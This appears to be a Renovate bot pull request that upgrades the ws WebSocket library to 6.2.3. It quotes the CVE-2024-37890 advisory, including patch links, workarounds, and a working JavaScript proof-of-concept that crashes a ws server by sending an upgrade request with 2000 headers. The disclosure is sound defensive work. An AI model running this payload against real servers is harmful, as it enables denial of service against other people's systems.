Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency ws to v6.2.3 [SECURITY] #612

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Jun 18, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 6.2.2 -> 6.2.3 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v6.2.3

Compare Source

Bug fixes


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/London, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 7beacde to e86957c Compare July 6, 2024 02:35
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from e86957c to 590ee22 Compare August 5, 2024 10:17
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 590ee22 to 469d7d9 Compare August 22, 2024 00:21
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 469d7d9 to f78264f Compare August 23, 2024 20:02
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from f78264f to 2b01a26 Compare August 28, 2024 16:17
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 2b01a26 to a285dd2 Compare September 4, 2024 09:37
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from a285dd2 to a3f5f46 Compare September 11, 2024 12:46
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from a3f5f46 to 46e6d81 Compare September 12, 2024 13:18
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 46e6d81 to 17c4fe2 Compare September 16, 2024 10:13
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 17c4fe2 to 6b440fb Compare September 24, 2024 13:04
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 6b440fb to 9cacbeb Compare October 4, 2024 22:59
@hmcts-jenkins-a-to-c hmcts-jenkins-a-to-c bot requested a deployment to preview October 4, 2024 23:13 Abandoned
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants